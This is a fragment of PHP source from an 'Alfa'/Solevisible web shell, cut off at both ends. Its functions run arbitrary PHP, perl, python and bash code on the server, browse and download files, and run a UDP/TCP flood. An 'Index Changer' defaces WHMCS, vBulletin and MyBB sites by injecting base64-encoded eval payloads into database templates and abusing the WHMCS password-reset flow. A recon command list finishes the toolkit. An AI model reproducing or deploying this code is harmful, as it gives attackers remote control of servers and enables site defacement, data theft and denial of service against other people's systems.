sprintf(\'%08X\',$i+1).\'<br>\';}\r\n$h[1] .= \'<br>\';\r\n$h[2] .= "\\n";\r\n}\r\n}\r\necho \'<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table></div></div>\';\r\nbreak;\r\ncase \'rename\':\r\n@chdir($_POST[\'c\']);\r\n$alfa1_escape = addslashes($_POST["alfa1"]);\r\n$alfa3_escape = addslashes($_POST["alfa3"]);\r\nif(!empty($_POST[\'alfa3\'])){\r\n$cmd_rename = false;\r\nif($chdir_fals&&$alfa_canruncmd){\r\nif(_alfa_is_writable($_POST[\'alfa1\'])){\r\n$alfa1_escape = addslashes($alfa1_decoded);\r\nalfaEx("cd \'".addslashes($_POST[\'c\'])."\';mv \'".$alfa1_escape."\' \'".addslashes($_POST[\'alfa3\'])."\'");\r\n}else{\r\n$cmd_rename = true;\r\n}\r\n}else{\r\n$alfa1_escape = addslashes($_POST["alfa1"]);\r\n}\r\nif(!@rename($_POST[\'alfa1\'], $_POST[\'alfa3\'])&&$cmd_rename){\r\necho \'Can\\\'t rename!<br>\';}else{echo(\'Renamed!<script>try{$("\'.$_POST[\'alfa4\'].\'").innerHTML = "<div class=\\\'editor-icon\\\'>"+loadType(\\\'\'.$alfa3_escape.\'\\\',\\\'\'.$ftype.\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\')+"</div><div class=\\\'editor-file-name\\\'>\'.$alfa3_escape.\'</div>";editor_files["\'.$_POST[\'alfa4\'].\'"].file = "\'.$alfa3_escape.\'";d.files.innerHTML = d.files.innerHTML.replace(/\\\\\\\'\'.$alfa1_escape.\'\\\\\\\'/g, "\\\'\'.$alfa3_escape.\'\\\'");d.files.innerHTML = d.files.innerHTML.replace(/value\\=\\"\'.$alfa1_escape.\'\\"/, \\\'value\\=\\"\'.$alfa3_escape.\'\\"\\\');d.files.innerHTML = d.files.innerHTML.replace(/\'.$alfa1_escape.\'\\<\\/a\\>/g, "\'.$alfa3_escape.\'</a>");d.files.innerHTML = d.files.innerHTML.replace(/Are You Sure For Delete # \'.$alfa1_escape.\' # \\?/, "Are You Sure For Delete # \'.$alfa3_escape.\' # ?");\'.($ftype == "dir"?"updateDirsEditor(\'".$_POST[\'alfa4\']."\',\'".$alfa1_escape."\');":"").\'}catch(e){console.log(e)}</script>\');$alfa1_escape = $alfa3_escape;}\r\n}\r\necho \'<form onsubmit="editor(\\\'\'.$alfa1_escape.\'\\\',\\\'\'.$_POST[\'alfa2\'].\'\\\',this.name.value,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;"><input type="text" name="name" value="\'.addslashes(htmlspecialchars(isset($_POST[\'alfa3\'])&&$_POST[\'alfa3\']!=\'\'?$_POST[\'alfa3\']:$alfa1_decoded)).\'"><input type=submit value=" "></form>\';\r\nbreak;\r\ncase \'touch\':\r\n@chdir($_POST[\'c\']);\r\nif( !empty($_POST[\'alfa3\']) ) {\r\n$time = strtotime($_POST[\'alfa3\']);\r\nif($time){\r\n$touched = false;\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\talfaEx("cd \'".addslashes($_POST["c"])."\';touch -d \'".htmlspecialchars(addslashes($_POST[\'alfa3\']))."\' \'".addslashes($alfa1_decoded)."\'");\r\n\t$touched = true;\r\n}\r\nif(!@touch($_POST[\'alfa1\'],$time,$time)&&!$touched)\r\necho \'Fail!\';\r\nelse\r\necho \'Touched!\';\r\n} else echo \'Bad time format!\';\r\n}\r\nclearstatcache();\r\necho \'<script>alfa3_="";</script><form onsubmit="editor(\\\'\'.addslashes($_POST[\'alfa1\']).\'\\\',\\\'\'.$_POST[\'alfa2\'].\'\\\',this.touch.value,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", ($chdir_fals?$file_info[4]:@filemtime($_POST[\'alfa1\']))).\'"><input type=submit value=" "></form>\';\r\nbreak;\r\ncase \'image\':\r\n@chdir($_POST[\'c\']);\r\necho(\'<hr>\');\r\n$file = $_POST[\'alfa1\'];\r\n$image_info = @getimagesize($file);\r\nif(is_array($image_info)||$chdir_fals){\r\n$width = (int)$image_info[0];\r\n$height = (int)$image_info[1];\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\t$source = alfaEx("cat \'".addslashes($file)."\' | base64");\r\n\tlist($width, $height) = explode(":", alfaEx("identify -format \'%w:%h\' \'".addslashes($file)."\'"));\r\n\t$mime = explode(":", alfaEx("file --mime-type \'".addslashes($file)."\'"));\r\n\t$image_info[\'mime\'] = $mime[1];\r\n}else{\r\n\t$source = __ZW5jb2Rlcg(__read_file($file, false));\r\n}\r\n$image_info_h = "Image type = <span>[</span> ".$image_info[\'mime\']." <span>]</span><br>Image Size = <span>[ </span>".$width." x ".$height."<span> ]</span><br>";\r\nif($width > 800){$width = 800;}\r\necho $content = "<div class=\'editor-view\'><div class=\'view-content\'><center>".$image_info_h."<br><img id=\'viewImage\' style=\'max-width:100%;border:1px solid green;\' src=\'data:".$image_info[\'mime\'].";base64,".$source."\' alt=\'".$file."\'></center></div></div><br>";\r\n}\r\nbreak;\r\n}\r\necho \'</div>\';\r\nalfaFooter();\r\n}\r\nfunction findicon($file,$type){\r\n$s = \'http://solevisible.com/icons/\';\r\n$types = array(\'json\',\'ppt\',\'pptx\',\'xls\',\'xlsx\',\'msi\',\'config\',\'cgi\',\'pm\',\'c\',\'cpp\',\'cs\',\'java\',\'aspx\',\'asp\',\'db\',\'ttf\',\'eot\',\'woff\',\'woff2\',\'woff\',\'conf\',\'log\',\'apk\',\'cab\',\'bz2\',\'tgz\',\'dmg\',\'izo\',\'jar\',\'7z\',\'iso\',\'rar\',\'bat\',\'sh\',\'alfa\',\'gz\',\'tar\',\'php\',\'php4\',\'php5\',\'phtml\',\'html\',\'xhtml\',\'shtml\',\'htm\',\'zip\',\'png\',\'jpg\',\'jpeg\',\'gif\',\'bmp\',\'ico\',\'txt\',\'js\',\'rb\',\'py\',\'xml\',\'css\',\'sql\',\'htaccess\',\'pl\',\'ini\',\'dll\',\'exe\',\'mp3\',\'mp4\',\'m4a\',\'mov\',\'flv\',\'swf\',\'mkv\',\'avi\',\'wmv\',\'mpg\',\'mpeg\',\'dat\',\'pdf\',\'3gp\',\'doc\',\'docx\',\'docm\');\r\nif($type!=\'file\'){\r\nreturn ($file==\'..\'?$s.\'back.png\':$s.\'folder.png\');\r\n}else{\r\n$ext = explode(\'.\',$file);\r\n$ext = end($ext);\r\n$ext = strtolower($ext);\r\nreturn (in_array($ext,$types)?$s.$ext.\'.png\':$s.\'notfound.png\');\r\n}\r\n}\r\nfunction alfadlfile(){\r\nif(isset($_POST[\'c\'],$_POST[\'file\'])){\r\n$basename = rawurldecode(basename($_POST[\'file\']));\r\n$_POST[\'file\'] = str_replace("//", "/", $_POST[\'c\'].\'/\'.$basename);\r\n$alfa_canruncmd = _alfa_can_runCommand(true,true);\r\nif(@is_file($_POST[\'file\']) && @is_readable($_POST[\'file\']) || $alfa_canruncmd){\r\nob_start("ob_gzhandler", 4096);\r\nheader("Content-Disposition: attachment; filename=\\"".addslashes($basename)."\\"");\r\nheader("Content-Type: application/octet-stream");\r\nif(isset($GLOBALS["glob_chdir_false"])){\r\n\t$randname = $basename.rand(111,9999);\r\n\t$scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);\r\n\t$filepath = $scriptpath."/".$randname;\r\n\tif(_alfa_is_writable($scriptpath)){\r\n\t\talfaEx("cp \'".addslashes($_POST["file"])."\' \'".addslashes($filepath)."\'");\r\n\t\treadfile($filepath);\r\n\t\t@unlink($filepath);\r\n\t}else{\r\n\t\talfaEx("cat \'".addslashes($_POST["file"])."\'");\r\n\t}\r\n}else{\r\n\treadfile($_POST[\'file\']);\r\n}\r\n}else echo(\'Error...!\');}}\r\nfunction alfaphpeval(){\r\nalfahead();\r\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'ini\')){\r\necho \'<div class=header>\';\r\nob_start();\r\n$INI=ini_get_all();\r\nprint \'<table border=0><tr>\'\r\n.\'<td class="listing"><font class="highlight_txt">Param</td>\'\r\n.\'<td class="listing"><font class="highlight_txt">Global value</td>\'\r\n.\'<td class="listing"><font class="highlight_txt">Local Value</td>\'\r\n.\'<td class="listing"><font class="highlight_txt">Access</td></tr>\';\r\nforeach ($INI as $param => $values)\r\nprint "\\n".\'<tr>\'\r\n.\'<td class="listing"><b>\'.$param.\'</td>\'\r\n.\'<td class="listing">\'.$values[\'global_value\'].\' </td>\'\r\n.\'<td class="listing">\'.$values[\'local_value\'].\' </td>\'\r\n.\'<td class="listing">\'.$values[\'access\'].\' </td></tr>\';\r\n$tmp = ob_get_clean();\r\n$tmp = preg_replace(\'!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);\r\n$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\r\necho str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';\r\n}\r\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'info\')) {\r\necho \'<div class=header><style>.p {color:#000;}</style>\';\r\nob_start();\r\nphpinfo();\r\n$tmp = ob_get_clean();\r\n$tmp = preg_replace(\'!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);\r\n$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\r\necho str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';\r\n}\r\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'exten\')) {\r\necho \'<div class=header>\';\r\nob_start();\r\n$EXT=get_loaded_extensions();\r\necho \'<table border=0><tr><td class="listing">\'.implode(\'</td></tr>\'."\\n".\'<tr><td class="listing">\', $EXT).\'</td></tr></table>\'.count($EXT).\' extensions loaded\';\r\necho \'</div><br>\';\r\n}\r\n$lang_html = "";\r\nforeach(array("php"=>"php ~> [ Windows / Linux ]","perl"=>"perl ~> [ Linux ]","python"=>"python ~> [ Linux ]","bash"=>"bash ~> [ Linux ]") as $key=>$val){$lang_html .= \'<option value="\'.$key.\'" \'.($_POST["alfa3"]==$key?"selected":"").\'>\'.$val.\'</option>\';}\r\necho \'<div class=header><Center><a href=javascript:void(0) onclick="g(\\\'phpeval\\\',null,\\\'\\\',\\\'ini\\\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\\\'phpeval\\\',null,\\\'\\\',\\\'info\\\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\\\'phpeval\\\',null,\\\'\\\',\\\'exten\\\')"> | extensions |</a></center><br><form name=pf method=post onsubmit="g(\\\'phpeval\\\',null,this.code.value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">\'.$lang_html.\'</select><br><br><textarea placeholder="file_get_contents(\\\'/etc/passwd\\\');" name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'alfa1\'])?htmlspecialchars($_POST[\'alfa1\']):\'\').\'</textarea><center><input type="submit" value="" style="margin-top:5px"></center>\';\r\necho \'</form><pre id=PhpOutput style="\'.(empty($_POST[\'alfa1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';\r\nif(!empty($_POST[\'alfa1\'])){\r\nif($_POST[\'alfa3\']=="php"){\r\nob_start();\r\neval($_POST[\'alfa1\']);\r\n$result = htmlspecialchars(ob_get_clean());\r\n}elseif(_alfa_can_runCommand()&&$GLOBALS["sys"]=="unix"){\r\n\tif(isset($_SESSION["eval_tmpdir"])){\r\n\t\t$tempdir = $_SESSION["eval_tmpdir"];\r\n\t}else{\r\n\t\t$tempdir = dirname(alfaEx("mktemp"));\r\n\t\t$_SESSION["eval_tmpdir"] = $tempdir;\r\n\t}\r\n\t$lang = $_POST[\'alfa3\'];\r\n\t$filename = "temp".rand(11111,99999);\r\n\t$temp = $tempdir."/".$filename ;\r\n\t__write_file($filename, $_POST[\'alfa1\']);\r\n\t$result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");\r\n\t@unlink($filename);\r\n\t@unlink($temp);\r\n}\r\necho \'<textarea class=bigarea id="PhpCode">\'.$result.\'</textarea>\';\r\n}\r\necho \'</pre></div>\';\r\nalfafooter();\r\n}\r\nfunction alfahash(){\r\nif(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\r\nif(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}\r\n$stringTools = array(\r\n\'Base64_encode ( $string )\' => \'__ZW5jb2Rlcg($s)\',\r\n\'Base64_decode ( $string )\' => \'__ZGVjb2Rlcg($s)\',\r\n\'strrev ( $string )\' => \'strrev($s)\',\r\n\'bin2hex ( $string )\' => \'bin2hex($s)\',\r\n\'hex2bin ( $string )\' => \'hex2bin($s)\',\r\n\'md5 ( $string )\' => \'md5($s)\',\r\n\'sha1 ( $string )\' => \'sha1($s)\',\r\n\'hash ( "sha251", $string ) --> sha251\' => \'hash("sha256",$s)\',\r\n\'hash ( "sha384", $string ) --> sha384\' => \'hash("sha384",$s)\',\r\n\'hash ( "sha512", $string ) --> sha512\' => \'hash("sha512",$s)\',\r\n\'crypt ( $string )\' => \'crypt($s)\',\r\n\'crc32 ( $string )\' => \'crc32($s)\',\r\n\'str_rot13 ( $string )\' => \'str_rot13($s)\',\r\n\'urlencode ( $string )\' => \'urlencode($s)\',\r\n\'urldecode  ( $string )\' => \'urldecode($s)\',\r\n\'full_urlencode  ( $string )\' => \'full_urlencode($s)\',\r\n\'htmlspecialchars  ( $string )\' => \'htmlspecialchars($s)\',\r\n\'base64_encode (gzdeflate( $string , 9)) --> Encode\' => \'__ZW5jb2Rlcg(gzdeflate($s, 9))\',\r\n\'gzinflate (base64_decode( $string )) --> Decode\' => \'@gzinflate(__ZGVjb2Rlcg($s))\',\r\n\'str_rot13 (base64_encode( $string )) --> Encode\' => \'str_rot13(__ZW5jb2Rlcg($s))\',\r\n\'base64_decode (str_rot13( $string )) --> Decode\' => \'__ZGVjb2Rlcg(str_rot13($s))\',\r\n\'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode\' => \'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))\',\r\n\'gzinflate (base64_decode(str_rot13( $string ))) --> Decode\' => \'@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))\',\r\n);\r\nalfahead();\r\necho \'<div class=header>\';\r\necho "<form onSubmit=\'g(\\"hash\\",null,this.selectTool.value,this.input.value);return false;\'><div class=\'txtfont\'>Method:</div> <select name=\'selectTool\' style=\'width:400px;\'>";\r\nforeach($stringTools as $k => $v)\r\necho "<option value=\'".htmlspecialchars($v)."\' ".($_POST[\'alfa1\']==$v?\'selected\':\'\').">".$k."</option>";\r\necho "</select> <input type=\'submit\' value=\' \'/><br><textarea  name=\'input\' style=\'margin-top:5px\' class=\'bigarea\'>".(empty($_POST[\'alfa1\'])?\'\':htmlspecialchars(@$_POST[\'alfa2\']))."</textarea></form>";\r\nif(!empty($_POST[\'alfa1\'])){\r\n$string = addslashes($_POST[\'alfa2\']);\r\n$string = str_replace(\'\\"\',\'"\',$string);\r\n$alg = $_POST[\'alfa1\'];\r\n$code = str_replace(\'$s\',"\'".$string."\'",$alg);\r\nob_start();\r\neval(\'echo \'.$code.\';\');\r\n$res = ob_get_contents();\r\nob_end_clean();\r\nif(in_array($alg, $stringTools))echo \'<textarea class="bigarea" id="PhpCode">\'.htmlspecialchars($res).\'</textarea>\';\r\n}\r\necho "</div>";\r\nalfaFooter();\r\n}\r\nfunction alfados(){\r\nalfahead();\r\necho \'<div class=header>\';\r\necho \'<center><p><div class="txtfont_header">| DOS |</div></p><form onSubmit="g(\\\'dos\\\',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;"><div class="txtfont">Method : <select name="m" style="width:80px;"><option value="udp">UDP</option><option value="tcp">TCP</option></select> Host : <input name="host" type="text" value="localhost" size="25" /> Time : <input name="time" type="text" size="15" /> Port : <input name="port" type="text" size="10" /> <input type="submit" value=" " /></div></form></center><br>\';\r\nif(!empty($_POST[\'alfa1\']) && !empty($_POST[\'alfa2\']) && !empty($_POST[\'alfa3\'])){\r\necho __pre();\r\n$packets=0;\r\nignore_user_abort(true);\r\n$exec_time=(int)$_POST[\'alfa2\'];\r\n$time=time();\r\n$max_time=$exec_time+$time;\r\n$host=$_POST[\'alfa1\'];\r\n$port=(int)$_POST[\'alfa3\'];\r\n$method=$_POST[\'alfa4\'];\r\n$out = str_repeat(\'X\',65000);\r\nwhile(1){\r\n$packets++;\r\nif(time() > $max_time){\r\nbreak;\r\n}\r\n$fp = @fsockopen($method.\'://\'.$host, $port, $errno, $errstr, 5);\r\nif($fp){\r\nfwrite($fp, $out);\r\nfclose($fp);\r\n}\r\n}\r\necho "<center>$packets (" . @round(($packets*65)/1024, 2) . " MB) packets averaging ". @round($packets/$exec_time, 2) . " packets per second</center>";\r\necho "</pre>";\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction __pre(){return(\'<pre id="strOutput" style="margin-top:5px" class="ml1">\');}\r\nfunction alfaIndexChanger(){\r\nalfahead();\r\n\r\necho \'<div class=header><center><p><div class="txtfont_header">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'IndexChanger\\\',null,null,null,\\\'whmcs\\\')">| Whmcs | </a><a href=javascript:void(0) onclick="g(\\\'IndexChanger\\\',null,\\\'vb\\\',null)">| vBulletin | </a><a href=javascript:void(0) onclick="g(\\\'IndexChanger\\\',null,null,\\\'mybb\\\')">| MyBB | </a></h3></center>\';\r\nif(isset($_POST[\'alfa3\'])&&($_POST[\'alfa3\'] == \'whmcs\')){\r\necho __pre();\r\n\r\necho "<center><center><div class=\'txtfont_header\'>| Whmcs |</div>\r\n<p><center>".getConfigHtml(\'whmcs\')."<form onSubmit=\\"g(\'IndexChanger\',null,null,null,\'whmcs\',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\\">\r\n";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'inputName\' => \'dbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'URL\', \'inputName\' => \'path\', \'inputValue\' => \'http://site.com/whmcs\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'File Name\', \'inputName\' => \'fname\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'inputName\' => \'dbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'inputName\' => \'dbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'inputName\' => \'dbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<br><div class=\'txtfont\'>| Your Index |</div><br>\r\n<textarea name=index rows=\'19\' cols=\'103\'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>\r\n<input type=\'submit\' value=\' \'>\r\n</form></center></center>";\r\nif(isset($_POST[\'alfa6\'])){\r\n$s0levisible="Powered By Solevisible";\r\n$dbu = $_POST[\'alfa6\'];\r\n$path = $_POST[\'alfa5\'];\r\n$fname = $_POST[\'alfa4\'];\r\n$dbn = $_POST[\'alfa7\'];\r\n$dbp = $_POST[\'alfa8\'];\r\n$dbh = $_POST[\'alfa9\'];\r\n$index = $_POST[\'alfa10\'];\r\n$index = str_replace("\\\'","\'",$index);\r\n$deface = \'$x = base64_decode("\'.__ZW5jb2Rlcg($index).\'"); $solevisible = fopen("\'.$fname.\'","w"); fwrite($solevisible,$x);\';\r\n$saveData = __ZW5jb2Rlcg($deface);\r\n$Def = \'{php}eval(base64_decode("\'.$saveData.\'"));{/php}\';\r\nif(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){\r\n$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\r\n$soleSave=@mysqli_query($conn,"select message from tblemailtemplates where name=\'Password Reset Validation\'");\r\n$soleGet = mysqli_fetch_assoc($soleSave);\r\n$tempSave1 = $soleGet[\'message\'];\r\n$tempSave = str_replace("\'","\\\'",$tempSave1);\r\n$inject = "UPDATE tblemailtemplates SET message=\'$Def\' WHERE name=\'Password Reset Validation\'";\r\n$result=@mysqli_query($conn,$inject) or die (mysqli_error($conn));\r\n$create = "insert into tblclients (email) values(\'solevisible@fbi.gov\')";\r\n$result2 =@mysqli_query($conn,$create) or die (mysqli_error($conn));\r\nif(function_exists(\'curl_version\')){\r\n$AlfaSole = new AlfaCURL(true);\r\n$saveurl = $AlfaSole->Send($path."/pwreset.php");\r\n$getToken = preg_match("/name=\\"token\\" value=\\"(.*?)\\"/i",$saveurl,$token);\r\n$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");\r\n$backdata = "UPDATE tblemailtemplates SET message=\'{$tempSave}\' WHERE name=\'Password Reset Validation\'";\r\n$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));\r\n__alert(\'File Created...\');\r\necho "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><font color=red><a target=\'_blank\' href=\'".$path."/".$fname."\'>Click Here !</a></font></b></center><br><br>";\r\n}else{\r\necho "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><b><font color=\\"#FFFFFF\\">Please go to Target </font><font color=red>\\" ".$path."/pwreset.php \\"</font><br/><font color=\\"#FFFFFF\\"> and reset password with email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\\"#FFFFFF\\">and go to</font> <font color=red>\\" ".$path."/".$fname." \\"</font></b></center><br><br>";\r\n}}}}\r\nif(isset($_POST[\'alfa1\']) && ($_POST[\'alfa1\'] == \'vb\')){\r\necho __pre();\r\n\r\necho "<center><center><div class=\'txtfont_header\'>| vBulletin |</div>\r\n<p><center>".getConfigHtml(\'vb\')."<form onSubmit=\\"g(\'IndexChanger\',null,\'vb\',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,\'>>\'); return false;\\">\r\n";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'inputName\' => \'dbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'inputName\' => \'dbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'inputName\' => \'dbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'inputName\' => \'dbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Prefix\', \'inputName\' => \'prefix\', \'id\' => \'db_prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<br><div class=\'txtfont\'>| Your Index |</div><br>\r\n<textarea name=\'index\' rows=\'19\' cols=\'103\'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>\r\n<input type=\'submit\' value=\' \'></form></center></center>";\r\nif($_POST[\'alfa8\']==\'>>\'){\r\n$s0levisible="Powered By Solevisible";\r\n$dbu = $_POST[\'alfa2\'];\r\n$dbn = $_POST[\'alfa3\'];\r\n$dbp = $_POST[\'alfa4\'];\r\n$dbh = $_POST[\'alfa5\'];\r\n$index = $_POST[\'alfa6\'];\r\n$prefix = $_POST[\'alfa7\'];\r\n$index=str_replace("\\\'","\'",$index);\r\n$set_index = "{\\${eval(base64_decode(\\\'";\r\n$set_index .= __ZW5jb2Rlcg("echo \\"$index\\";");\r\n$set_index .= "\\\'))}}{\\${exit()}}";\r\nif(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){\r\n$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\r\n$loli1 = "UPDATE ".$prefix."template SET template=\'".$set_index."".$s0levisible."\' WHERE title=\'spacer_open\'";\r\n$loli2 = "UPDATE ".$prefix."template SET template=\'".$set_index."".$s0levisible."\' WHERE title=\'FORUMHOME\'";\r\n$loli3 = "UPDATE ".$prefix."style SET css=\'".$set_index."".$s0levisible."\', stylevars=\'\', csscolors=\'\', editorstyles=\'\'";\r\n@mysqli_query($conn,$loli1) or die (mysqli_error($conn));\r\n@mysqli_query($conn,$loli2) or die (mysqli_error($conn));\r\n@mysqli_query($conn,$loli3) or die (mysqli_error($conn));\r\n__alert(\'VB index changed...!\');\r\n}\r\n}\r\n}\r\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'mybb\')) {\r\necho __pre();\r\n\r\necho "<center><center><div class=\'txtfont_header\'>| Mybb |</div>\r\n<p><center>".getConfigHtml(\'mybb\')."<form onSubmit=\\"g(\'IndexChanger\',null,\'null\',\'mybb\',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\\" method=POST action=\'\'>\r\n";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'inputName\' => \'mybbdbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'inputName\' => \'mybbdbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'inputName\' => \'mybbdbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'inputName\' => \'mybbdbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<br><div class=\'txtfont\'>| Your Index |</div><br>\r\n<textarea name=mybbindex rows=\'19\' cols=\'103\'>\r\n<title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><p><input type=\'submit\' value=\'\' ></p></form></center></center>";\r\nif(isset($_POST[\'alfa6\'])){\r\n$mybb_dbh = $_POST[\'alfa6\'];\r\n$mybb_dbu = $_POST[\'alfa7\'];\r\n$mybb_dbn = $_POST[\'alfa8\'];\r\n$mybb_dbp = $_POST[\'alfa9\'];\r\n$mybb_index = $_POST[\'alfa10\'];\r\nif(!empty($mybb_dbh)&&!empty($mybb_dbu)&&!empty($mybb_dbn)&&!empty($mybb_index)){\r\n$conn=@mysqli_connect($mybb_dbh,$mybb_dbu,$mybb_dbp,$mybb_dbn) or die(mysqli_error($conn));\r\n$prefix="mybb_";\r\n$loli7 = "UPDATE ".$prefix."templates SET template=\'".$mybb_index."\' WHERE title=\'index\'";\r\n$result =@mysqli_query($conn,$loli7) or die (mysqli_error($conn));\r\n__alert(\'MyBB index changed...!\');\r\n}\r\n}\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfaproc()\r\n{\r\nalfahead();\r\necho "<Div class=header><br><center>";\r\nif(empty($_POST[\'ajax\'])&&!empty($_POST[\'alfa1\']))\r\n$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;\r\nif($GLOBALS[\'sys\']=="win"){\r\n$process=array(\r\n"Task List" =>"tasklist /V",\r\n"System Info" =>"systeminfo",\r\n"Active Connections" => "netstat -an",\r\n"Running Services" => "net start",\r\n"User Accounts" => "net user",\r\n"Show Computers" => "net view",\r\n"ARP Table" => "arp -a",\r\n"IP Configuration" => "ipconfig /all"\r\n);}else{\r\n$process=array(\r\n"Process status" => "ps aux",\r\n"Syslog" =>"cat /etc/syslog.conf",\r\n"Resolv" => "cat /etc/resolv.conf",\r\n"Hosts" =>"cat /etc/hosts",\r\n"Cpuinfo"=>"cat /proc/cpuinfo",\r\n"Version"=>"cat /proc/version",\r\n"Sbin"=>"ls -al /usr/sbin",\r\n"Interrupts"=>"cat 